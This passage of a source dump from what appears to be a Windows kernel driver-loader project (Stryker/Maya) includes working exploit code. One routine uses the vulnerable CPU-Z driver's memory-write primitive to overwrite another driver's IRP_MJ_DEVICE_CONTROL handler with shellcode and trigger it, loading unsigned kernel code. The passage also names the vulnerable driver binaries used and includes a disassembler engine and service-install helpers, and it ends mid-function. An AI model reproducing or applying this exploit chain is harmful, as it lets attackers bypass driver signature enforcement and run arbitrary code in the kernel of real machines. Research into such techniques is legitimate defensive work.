943 | return FALSE; 944 | } 945 | 946 | _strcpy(szBuffer, TEXT("\r\n[+] IRP_MJ_DEVICE_CONTROL 0x")); 947 | u64tohex((ULONG_PTR)drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL], _strend(szBuffer)); 948 | supPrintText(szBuffer); 949 | 950 | if (drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL] == NULL) { 951 | supPrintText(TEXT("\r\n[!] Invalid value of IRP_MJ_DEVICE_CONTROL, abort")); 952 | return FALSE; 953 | } 954 | 955 | // 956 | // Check if shellcode can be placed within the same/next physical page(s). 957 | // 958 | Page = ((ULONG_PTR)drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL] & 0xfffffffffffff000ull); 959 | if (VirtualToPhysical(Page, &physAddressStart) != 0) { 960 | 961 | Page = ((ULONG_PTR)drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL] + sizeof(SHELLCODE)) & 0xfffffffffffff000ull; 962 | if (VirtualToPhysical(Page, &physAddressEnd) != 0) { 963 | 964 | Address = physAddressEnd - physAddressStart; 965 | if (Address > 4096) { 966 | supPrintText(TEXT("\r\n[!] Invalid physical address, reload victim driver")); 967 | NumberOfAttempts += 1; 968 | if (NumberOfAttempts > 5) { 969 | supPrintText(TEXT("\r\n[!] Too many attempts, abort")); 970 | return FALSE; 971 | } 972 | goto Reload; 973 | } 974 | } 975 | else { 976 | return FALSE; 977 | } 978 | } 979 | else { 980 | return FALSE; 981 | } 982 | 983 | SetupShellCode(lpDriverFileName); 984 | 985 | // 986 | // Write shellcode to driver. 987 | // 988 | if (!cpuz_WriteVirtualMemory((ULONG_PTR)drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL], 989 | g_ShellCode, sizeof(SHELLCODE))) 990 | { 991 | supPrintText(TEXT("\r\n[!] Error writing shellcode to the target driver, abort")); 992 | return FALSE; 993 | } 994 | else { 995 | supPrintText(TEXT("\r\n[+] Driver IRP_MJ_DEVICE_CONTROL handler code modified")); 996 | } 997 | 998 | // 999 | // Trigger shellcode. 1000 | // Target has the same handlers for IRP_MJ_CREATE/CLOSE/DEVICE_CONTROL 1001 | // 1002 | supPrintText(TEXT("\r\n[+] Triggering shellcode")); 1003 | Sleep(1000); 1004 | scmOpenDevice(MR_PE152, &hObject); 1005 | Sleep(1000); 1006 | 1007 | // 1008 | // Unload victim driver as it no longer needed. 1009 | // 1010 | supPrintText(TEXT("\r\n[+] Unloading victim driver")); 1011 | status = STATUS_UNSUCCESSFUL; 1012 | if (VictimLoadUnload(MR_PE152, szDriverFile, FALSE, TRUE, &status)) { 1013 | supPrintText(TEXT("\r\n[+] Victim driver unloaded")); 1014 | return TRUE; 1015 | } 1016 | else { 1017 | _strcpy(szBuffer, TEXT("\r\n[!] Victim driver unload failed with code 0x")); 1018 | ultostr(status, _strend(szBuffer)); 1019 | supPrintText(szBuffer); 1020 | } 1021 | return FALSE; 1022 | } 1023 | -------------------------------------------------------------------------------- /src/Maya/drvmap.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: DRVMAP.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Loader support routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #pragma once 20 | 21 | BOOL MapDriver( 22 | _In_ LPWSTR lpDriverFileName); 23 | -------------------------------------------------------------------------------- /src/Maya/drvstore/cpuz141.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/src/Maya/drvstore/cpuz141.sys -------------------------------------------------------------------------------- /src/Maya/drvstore/procexp152.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/src/Maya/drvstore/procexp152.sys -------------------------------------------------------------------------------- /src/Maya/global.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: GLOBAL.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Global definitions. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #pragma once 21 | 22 | #if !defined UNICODE 23 | #error ANSI build is not supported 24 | #endif 25 | 26 | #if (_MSC_VER >= 1900) 27 | #ifdef _DEBUG 28 | #pragma comment(lib, "vcruntimed.lib") 29 | #pragma comment(lib, "ucrtd.lib") 30 | #else 31 | #pragma comment(lib, "libvcruntime.lib") 32 | #endif 33 | #endif 34 | 35 | #pragma warning(disable: 4005) // macro redefinition 36 | #pragma warning(disable: 4054) // %s : from function pointer %s to data pointer %s 37 | #pragma warning(disable: 4055) // conversion from data pointer to code 38 | #pragma warning(disable: 4152) // function/data pointer conversion in expression 39 | #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union 40 | 41 | #include 42 | #include 43 | #include "minirtl\minirtl.h" 44 | #include "minirtl\cmdline.h" 45 | #include "hde\hde64.h" 46 | #include "ntos.h" 47 | #include "sup.h" 48 | #include "instdrv.h" 49 | #include "readwrt.h" 50 | #include "pagewalk.h" 51 | #include "ob.h" 52 | #include "ldr.h" 53 | #include "ps.h" 54 | #include "ci.h" 55 | #include "drvmap.h" 56 | #include "test.h" 57 | 58 | extern HANDLE g_hDevice; 59 | extern ULONG g_NtBuildNumber; 60 | -------------------------------------------------------------------------------- /src/Maya/hde/hde64.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 C 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | */ 7 | 8 | #include "hde64.h" 9 | #include "table64.h" 10 | 11 | #pragma warning(push) 12 | #pragma warning(disable:4701) 13 | #pragma warning(disable:4706) 14 | 15 | unsigned int hde64_disasm(const void *code, hde64s *hs) 16 | { 17 | uint8_t x, c = 0, *p = (uint8_t *)code, cflags, opcode, pref = 0; 18 | uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; 19 | uint8_t op64 = 0; 20 | 21 | // Avoid using memset to reduce the footprint. 22 | #ifndef _MSC_VER 23 | memset((LPBYTE)hs, 0, sizeof(hde64s)); 24 | #else 25 | __stosb((LPBYTE)hs, 0, sizeof(hde64s)); 26 | #endif 27 | 28 | for (x = 16; x; x--) 29 | switch (c = *p++) { 30 | case 0xf3: 31 | hs->p_rep = c; 32 | pref |= PRE_F3; 33 | break; 34 | case 0xf2: 35 | hs->p_rep = c; 36 | pref |= PRE_F2; 37 | break; 38 | case 0xf0: 39 | hs->p_lock = c; 40 | pref |= PRE_LOCK; 41 | break; 42 | case 0x26: case 0x2e: case 0x36: 43 | case 0x3e: case 0x64: case 0x65: 44 | hs->p_seg = c; 45 | pref |= PRE_SEG; 46 | break; 47 | case 0x66: 48 | hs->p_66 = c; 49 | pref |= PRE_66; 50 | break; 51 | case 0x67: 52 | hs->p_67 = c; 53 | pref |= PRE_67; 54 | break; 55 | default: 56 | goto pref_done; 57 | } 58 | pref_done: 59 | 60 | hs->flags = (uint32_t)pref << 23; 61 | 62 | if (!pref) 63 | pref |= PRE_NONE; 64 | 65 | if ((c & 0xf0) == 0x40) { 66 | hs->flags |= F_PREFIX_REX; 67 | if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) 68 | op64++; 69 | hs->rex_r = (c & 7) >> 2; 70 | hs->rex_x = (c & 3) >> 1; 71 | hs->rex_b = c & 1; 72 | if (((c = *p++) & 0xf0) == 0x40) { 73 | opcode = c; 74 | goto error_opcode; 75 | } 76 | } 77 | 78 | if ((hs->opcode = c) == 0x0f) { 79 | hs->opcode2 = c = *p++; 80 | ht += DELTA_OPCODES; 81 | } else if (c >= 0xa0 && c <= 0xa3) { 82 | op64++; 83 | if (pref & PRE_67) 84 | pref |= PRE_66; 85 | else 86 | pref &= ~PRE_66; 87 | } 88 | 89 | opcode = c; 90 | cflags = ht[ht[opcode / 4] + (opcode % 4)]; 91 | 92 | if (cflags == C_ERROR) { 93 | error_opcode: 94 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 95 | cflags = 0; 96 | if ((opcode & -3) == 0x24) 97 | cflags++; 98 | } 99 | 100 | x = 0; 101 | if (cflags & C_GROUP) { 102 | uint16_t t; 103 | t = *(uint16_t *)(ht + (cflags & 0x7f)); 104 | cflags = (uint8_t)t; 105 | x = (uint8_t)(t >> 8); 106 | } 107 | 108 | if (hs->opcode2) { 109 | ht = hde64_table + DELTA_PREFIXES; 110 | if (ht[ht[opcode / 4] + (opcode % 4)] & pref) 111 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 112 | } 113 | 114 | if (cflags & C_MODRM) { 115 | hs->flags |= F_MODRM; 116 | hs->modrm = c = *p++; 117 | hs->modrm_mod = m_mod = c >> 6; 118 | hs->modrm_rm = m_rm = c & 7; 119 | hs->modrm_reg = m_reg = (c & 0x3f) >> 3; 120 | 121 | if (x && ((x << m_reg) & 0x80)) 122 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 123 | 124 | if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { 125 | uint8_t t = opcode - 0xd9; 126 | if (m_mod == 3) { 127 | ht = hde64_table + DELTA_FPU_MODRM + t*8; 128 | t = ht[m_reg] << m_rm; 129 | } else { 130 | ht = hde64_table + DELTA_FPU_REG; 131 | t = ht[t] << m_reg; 132 | } 133 | if (t & 0x80) 134 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 135 | } 136 | 137 | if (pref & PRE_LOCK) { 138 | if (m_mod == 3) { 139 | hs->flags |= F_ERROR | F_ERROR_LOCK; 140 | } else { 141 | uint8_t *table_end, op = opcode; 142 | if (hs->opcode2) { 143 | ht = hde64_table + DELTA_OP2_LOCK_OK; 144 | table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; 145 | } else { 146 | ht = hde64_table + DELTA_OP_LOCK_OK; 147 | table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; 148 | op &= -2; 149 | } 150 | for (; ht != table_end; ht++) 151 | if (*ht++ == op) { 152 | if (!((*ht << m_reg) & 0x80)) 153 | goto no_lock_error; 154 | else 155 | break; 156 | } 157 | hs->flags |= F_ERROR | F_ERROR_LOCK; 158 | no_lock_error: 159 | ; 160 | } 161 | } 162 | 163 | if (hs->opcode2) { 164 | switch (opcode) { 165 | case 0x20: case 0x22: 166 | m_mod = 3; 167 | if (m_reg > 4 || m_reg == 1) 168 | goto error_operand; 169 | else 170 | goto no_error_operand; 171 | case 0x21: case 0x23: 172 | m_mod = 3; 173 | if (m_reg == 4 || m_reg == 5) 174 | goto error_operand; 175 | else 176 | goto no_error_operand; 177 | } 178 | } else { 179 | switch (opcode) { 180 | case 0x8c: 181 | if (m_reg > 5) 182 | goto error_operand; 183 | else 184 | goto no_error_operand; 185 | case 0x8e: 186 | if (m_reg == 1 || m_reg > 5) 187 | goto error_operand; 188 | else 189 | goto no_error_operand; 190 | } 191 | } 192 | 193 | if (m_mod == 3) { 194 | uint8_t *table_end; 195 | if (hs->opcode2) { 196 | ht = hde64_table + DELTA_OP2_ONLY_MEM; 197 | table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; 198 | } else { 199 | ht = hde64_table + DELTA_OP_ONLY_MEM; 200 | table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; 201 | } 202 | for (; ht != table_end; ht += 2) 203 | if (*ht++ == opcode) { 204 | if (*ht++ & pref && !((*ht << m_reg) & 0x80)) 205 | goto error_operand; 206 | else 207 | break; 208 | } 209 | goto no_error_operand; 210 | } else if (hs->opcode2) { 211 | switch (opcode) { 212 | case 0x50: case 0xd7: case 0xf7: 213 | if (pref & (PRE_NONE | PRE_66)) 214 | goto error_operand; 215 | break; 216 | case 0xd6: 217 | if (pref & (PRE_F2 | PRE_F3)) 218 | goto error_operand; 219 | break; 220 | case 0xc5: 221 | goto error_operand; 222 | } 223 | goto no_error_operand; 224 | } else 225 | goto no_error_operand; 226 | 227 | error_operand: 228 | hs->flags |= F_ERROR | F_ERROR_OPERAND; 229 | no_error_operand: 230 | 231 | c = *p++; 232 | if (m_reg <= 1) { 233 | if (opcode == 0xf6) 234 | cflags |= C_IMM8; 235 | else if (opcode == 0xf7) 236 | cflags |= C_IMM_P66; 237 | } 238 | 239 | switch (m_mod) { 240 | case 0: 241 | if (pref & PRE_67) { 242 | if (m_rm == 6) 243 | disp_size = 2; 244 | } else 245 | if (m_rm == 5) 246 | disp_size = 4; 247 | break; 248 | case 1: 249 | disp_size = 1; 250 | break; 251 | case 2: 252 | disp_size = 2; 253 | if (!(pref & PRE_67)) 254 | disp_size <<= 1; 255 | } 256 | 257 | if (m_mod != 3 && m_rm == 4) { 258 | hs->flags |= F_SIB; 259 | p++; 260 | hs->sib = c; 261 | hs->sib_scale = c >> 6; 262 | hs->sib_index = (c & 0x3f) >> 3; 263 | if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) 264 | disp_size = 4; 265 | } 266 | 267 | p--; 268 | switch (disp_size) { 269 | case 1: 270 | hs->flags |= F_DISP8; 271 | hs->disp.disp8 = *p; 272 | break; 273 | case 2: 274 | hs->flags |= F_DISP16; 275 | hs->disp.disp16 = *(uint16_t *)p; 276 | break; 277 | case 4: 278 | hs->flags |= F_DISP32; 279 | hs->disp.disp32 = *(uint32_t *)p; 280 | } 281 | p += disp_size; 282 | } else if (pref & PRE_LOCK) 283 | hs->flags |= F_ERROR | F_ERROR_LOCK; 284 | 285 | if (cflags & C_IMM_P66) { 286 | if (cflags & C_REL32) { 287 | if (pref & PRE_66) { 288 | hs->flags |= F_IMM16 | F_RELATIVE; 289 | hs->imm.imm16 = *(uint16_t *)p; 290 | p += 2; 291 | goto disasm_done; 292 | } 293 | goto rel32_ok; 294 | } 295 | if (op64) { 296 | hs->flags |= F_IMM64; 297 | hs->imm.imm64 = *(uint64_t *)p; 298 | p += 8; 299 | } else if (!(pref & PRE_66)) { 300 | hs->flags |= F_IMM32; 301 | hs->imm.imm32 = *(uint32_t *)p; 302 | p += 4; 303 | } else 304 | goto imm16_ok; 305 | } 306 | 307 | 308 | if (cflags & C_IMM16) { 309 | imm16_ok: 310 | hs->flags |= F_IMM16; 311 | hs->imm.imm16 = *(uint16_t *)p; 312 | p += 2; 313 | } 314 | if (cflags & C_IMM8) { 315 | hs->flags |= F_IMM8; 316 | hs->imm.imm8 = *p++; 317 | } 318 | 319 | if (cflags & C_REL32) { 320 | rel32_ok: 321 | hs->flags |= F_IMM32 | F_RELATIVE; 322 | hs->imm.imm32 = *(uint32_t *)p; 323 | p += 4; 324 | } else if (cflags & C_REL8) { 325 | hs->flags |= F_IMM8 | F_RELATIVE; 326 | hs->imm.imm8 = *p++; 327 | } 328 | 329 | disasm_done: 330 | 331 | if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { 332 | hs->flags |= F_ERROR | F_ERROR_LENGTH; 333 | hs->len = 15; 334 | } 335 | 336 | return (unsigned int)hs->len; 337 | } 338 | #pragma warning(pop) 339 | -------------------------------------------------------------------------------- /src/Maya/hde/hde64.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | * hde64.h: C/C++ header file 7 | * 8 | */ 9 | 10 | #ifndef _HDE64_H_ 11 | #define _HDE64_H_ 12 | 13 | /* stdint.h - C99 standard header 14 | * http://en.wikipedia.org/wiki/stdint.h 15 | * 16 | * if your compiler doesn't contain "stdint.h" header (for 17 | * example, Microsoft Visual C++), you can download file: 18 | * http://www.azillionmonkeys.com/qed/pstdint.h 19 | * and change next line to: 20 | * #include "pstdint.h" 21 | */ 22 | #include "pstdint.h" 23 | 24 | #define F_MODRM 0x00000001 25 | #define F_SIB 0x00000002 26 | #define F_IMM8 0x00000004 27 | #define F_IMM16 0x00000008 28 | #define F_IMM32 0x00000010 29 | #define F_IMM64 0x00000020 30 | #define F_DISP8 0x00000040 31 | #define F_DISP16 0x00000080 32 | #define F_DISP32 0x00000100 33 | #define F_RELATIVE 0x00000200 34 | #define F_ERROR 0x00001000 35 | #define F_ERROR_OPCODE 0x00002000 36 | #define F_ERROR_LENGTH 0x00004000 37 | #define F_ERROR_LOCK 0x00008000 38 | #define F_ERROR_OPERAND 0x00010000 39 | #define F_PREFIX_REPNZ 0x01000000 40 | #define F_PREFIX_REPX 0x02000000 41 | #define F_PREFIX_REP 0x03000000 42 | #define F_PREFIX_66 0x04000000 43 | #define F_PREFIX_67 0x08000000 44 | #define F_PREFIX_LOCK 0x10000000 45 | #define F_PREFIX_SEG 0x20000000 46 | #define F_PREFIX_REX 0x40000000 47 | #define F_PREFIX_ANY 0x7f000000 48 | 49 | #define PREFIX_SEGMENT_CS 0x2e 50 | #define PREFIX_SEGMENT_SS 0x36 51 | #define PREFIX_SEGMENT_DS 0x3e 52 | #define PREFIX_SEGMENT_ES 0x26 53 | #define PREFIX_SEGMENT_FS 0x64 54 | #define PREFIX_SEGMENT_GS 0x65 55 | #define PREFIX_LOCK 0xf0 56 | #define PREFIX_REPNZ 0xf2 57 | #define PREFIX_REPX 0xf3 58 | #define PREFIX_OPERAND_SIZE 0x66 59 | #define PREFIX_ADDRESS_SIZE 0x67 60 | 61 | #pragma pack(push,1) 62 | 63 | typedef struct { 64 | uint8_t len; 65 | uint8_t p_rep; 66 | uint8_t p_lock; 67 | uint8_t p_seg; 68 | uint8_t p_66; 69 | uint8_t p_67; 70 | uint8_t rex; 71 | uint8_t rex_w; 72 | uint8_t rex_r; 73 | uint8_t rex_x; 74 | uint8_t rex_b; 75 | uint8_t opcode; 76 | uint8_t opcode2; 77 | uint8_t modrm; 78 | uint8_t modrm_mod; 79 | uint8_t modrm_reg; 80 | uint8_t modrm_rm; 81 | uint8_t sib; 82 | uint8_t sib_scale; 83 | uint8_t sib_index; 84 | uint8_t sib_base; 85 | union { 86 | uint8_t imm8; 87 | uint16_t imm16; 88 | uint32_t imm32; 89 | uint64_t imm64; 90 | } imm; 91 | union { 92 | uint8_t disp8; 93 | uint16_t disp16; 94 | uint32_t disp32; 95 | } disp; 96 | uint32_t flags; 97 | } hde64s; 98 | 99 | #pragma pack(pop) 100 | 101 | #ifdef __cplusplus 102 | extern "C" { 103 | #endif 104 | 105 | /* __cdecl */ 106 | unsigned int hde64_disasm(const void *code, hde64s *hs); 107 | 108 | #ifdef __cplusplus 109 | } 110 | #endif 111 | 112 | #endif /* _HDE64_H_ */ 113 | -------------------------------------------------------------------------------- /src/Maya/hde/pstdint.h: -------------------------------------------------------------------------------- 1 | /* 2 | * MinHook - The Minimalistic API Hooking Library for x64/x86 3 | * Copyright (C) 2009-2015 Tsuda Kageyu. All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 15 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR 16 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 17 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 18 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 19 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 20 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 21 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 22 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 23 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 24 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #pragma once 28 | 29 | #include 30 | 31 | // Integer types for HDE. 32 | typedef INT8 int8_t; 33 | typedef INT16 int16_t; 34 | typedef INT32 int32_t; 35 | typedef INT64 int64_t; 36 | typedef UINT8 uint8_t; 37 | typedef UINT16 uint16_t; 38 | typedef UINT32 uint32_t; 39 | typedef UINT64 uint64_t; 40 | -------------------------------------------------------------------------------- /src/Maya/hde/table64.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 C 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | */ 7 | 8 | #define C_NONE 0x00 9 | #define C_MODRM 0x01 10 | #define C_IMM8 0x02 11 | #define C_IMM16 0x04 12 | #define C_IMM_P66 0x10 13 | #define C_REL8 0x20 14 | #define C_REL32 0x40 15 | #define C_GROUP 0x80 16 | #define C_ERROR 0xff 17 | 18 | #define PRE_ANY 0x00 19 | #define PRE_NONE 0x01 20 | #define PRE_F2 0x02 21 | #define PRE_F3 0x04 22 | #define PRE_66 0x08 23 | #define PRE_67 0x10 24 | #define PRE_LOCK 0x20 25 | #define PRE_SEG 0x40 26 | #define PRE_ALL 0xff 27 | 28 | #define DELTA_OPCODES 0x4a 29 | #define DELTA_FPU_REG 0xfd 30 | #define DELTA_FPU_MODRM 0x104 31 | #define DELTA_PREFIXES 0x13c 32 | #define DELTA_OP_LOCK_OK 0x1ae 33 | #define DELTA_OP2_LOCK_OK 0x1c6 34 | #define DELTA_OP_ONLY_MEM 0x1d8 35 | #define DELTA_OP2_ONLY_MEM 0x1e7 36 | 37 | unsigned char hde64_table[] = { 38 | 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, 39 | 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, 40 | 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, 41 | 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, 42 | 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, 43 | 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, 44 | 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, 45 | 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, 46 | 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, 47 | 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, 48 | 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, 49 | 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, 50 | 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, 51 | 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, 52 | 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, 53 | 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, 54 | 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, 55 | 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, 56 | 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, 57 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, 58 | 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, 59 | 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, 60 | 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, 61 | 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, 62 | 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, 63 | 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, 64 | 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, 65 | 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, 66 | 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, 67 | 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, 68 | 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, 69 | 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, 70 | 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, 71 | 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, 72 | 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, 73 | 0x00,0xf0,0x02,0x00 74 | }; 75 | -------------------------------------------------------------------------------- /src/Maya/instdrv.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2015 - 2017, portions (C) Mark Russinovich, FileMon 4 | * 5 | * TITLE: INSTDRV.C 6 | * 7 | * VERSION: 1.50 8 | * 9 | * DATE: 11 July 2017 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | #include "global.h" 18 | 19 | /* 20 | * scmInstallDriver 21 | * 22 | * Purpose: 23 | * 24 | * Create SCM service entry describing kernel driver. 25 | * 26 | */ 27 | BOOL scmInstallDriver( 28 | _In_ SC_HANDLE SchSCManager, 29 | _In_ LPCTSTR DriverName, 30 | _In_opt_ LPCTSTR ServiceExe 31 | ) 32 | { 33 | SC_HANDLE schService; 34 | 35 | schService = CreateService(SchSCManager, // SCManager database 36 | DriverName, // name of service 37 | DriverName, // name to display 38 | SERVICE_ALL_ACCESS, // desired access 39 | SERVICE_KERNEL_DRIVER, // service type 40 | SERVICE_DEMAND_START, // start type 41 | SERVICE_ERROR_NORMAL, // error control type 42 | ServiceExe, // service's binary 43 | NULL, // no load ordering group 44 | NULL, // no tag identifier 45 | NULL, // no dependencies 46 | NULL, // LocalSystem account 47 | NULL // no password 48 | ); 49 | if (schService == NULL) { 50 | return FALSE; 51 | } 52 | 53 | CloseServiceHandle(schService); 54 | return TRUE; 55 | } 56 | 57 | /* 58 | * scmStartDriver 59 | * 60 | * Purpose: 61 | * 62 | * Start service, resulting in SCM drvier load. 63 | * 64 | */ 65 | BOOL scmStartDriver( 66 | _In_ SC_HANDLE SchSCManager, 67 | _In_ LPCTSTR DriverName 68 | ) 69 | { 70 | SC_HANDLE schService; 71 | BOOL ret; 72 | 73 | schService = OpenService(SchSCManager, 74 | 